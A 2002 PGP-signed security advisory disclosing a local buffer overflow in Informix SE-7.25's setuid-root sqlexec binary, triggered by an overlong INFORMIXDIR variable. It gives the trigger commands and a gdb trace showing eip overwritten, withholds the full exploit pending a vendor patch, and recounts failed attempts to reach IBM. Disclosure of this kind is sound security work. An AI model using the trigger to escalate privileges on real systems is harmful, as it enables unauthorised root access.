-----BEGIN PGP SIGNED MESSAGE----- Title: Local Vulnerability in Informix SE-7.25 Date: 21-04-2002 Platform: Only tested in Linux but can be exported to others. Impact: Users with exec perm over /lib/sqlexec can obtain euid=0 Author: Juan Manuel Pascual Escriba <paskat_private> Status: Vendor contacted details below. PROBLEM SUMMARY: Buffer overflow exists if INFORMIXDIR enviroment variable is defined with a size greater than 2023 bytes [pask@dimoni lib]$ ls -FAlsc total 2588 4 drwxrwxr-x 2 informix informix 4096 May 28 22:50 boom/ 1484 -rwsr-sr-x 1 root informix 1515480 Apr 20 22:09 sqlexec* 504 -rwxr-xr-x 1 informix informix 510283 Apr 20 22:09 sqlexecd* 596 -rwxr-xr-x 1 informix informix 606041 Apr 20 22:09 sqlrm* [pask@dimoni lib]$ export INFORMIXDIR=`perl -e 'print "A"x2023'` [pask@dimoni lib]$ ./sqlexec [pask@dimoni lib]$ export INFORMIXDIR=`perl -e 'print "A"x2024'` [pask@dimoni lib]$ ./sqlexec Segmentation fault [pask@dimoni lib]$ gdb ./sqlexec (gdb) r Starting program: /home/informix/SE-7.25/lib/./sqlexec Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) (gdb) info registers ... esp 0x3fffed08 0x3fffed08 ebp 0x41414141 0x41414141 esi 0x3fffedf9 1073737209 edi 0x8191571 135861617 eip 0x41414141 0x41414141 ... IMPACT: Users with exec perm over /lib/sqlexec can obtain euid=0 in a standard installation of Informix SE-7.25 EXPLOIT Will be available when IBM develops a patch. STATUS At 21th April i tried to contact with IBM through http://www.ibm.com/contact,i received a quick answer telling me that i can email moreinfoat_private for report this vulnerability. This email address dont exist or is misconfigured (i received the message returned). At 28th May i tried to contact with IBM through askibmat_private, they answer the email telling me "to call to Main support Line and choose option 3 to speak customer service representative who will be happy to assist me". I'm sorry but im not happy to pay an international call bill. and im not a customer. Status of this advisory would be checked at: http://concepcion.upv.es/~pask/advisories - -------------------------------------------------- This vulnerability was researched by: Juan Manuel Pascual Escriba paskat_private - -- "In god We Trust, Others We monitor" ---------------------------------------------------------- Juan Manuel Pascual Escriba Midnight Systems & Security Manager PGP PubKey http://concepcion.upv.es/~pask/publica.pgp ---------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQEVAwUBPPVlKDX3KWOaq4SJAQETqwf8DpQ8el1tEt/M8JA7r1xgzZdTPqrEVpRD besDoryOU5xSRY1waGKILxqhm9G7/81+YGjhYLBB+KRkKTqK2LjWgrmu6/SyHLXW hSJEoT4JjMT2rsJ1THNt8pglmqeMwAd8ncXZpSodWqByieQ6ly6uI1IcTSFViuAh cvpc4Pk8zORELtNmFfnNRz93dEEnWo19odX7cx0tutqJUjosI0VfCX9kKs2iRjmM 5Fj1sGsTl1AHqcdJTmOzFQieA8ywFdS8vnEBuK6jqIHFc1Gn7e5c00K6Fu7ZFsZq erx8tg7F93myY0wpq5AsYiiepgWUqLMyaeb1hjRiTn/X4F5eVHbtmg== =4P/J -----END PGP SIGNATURE-----
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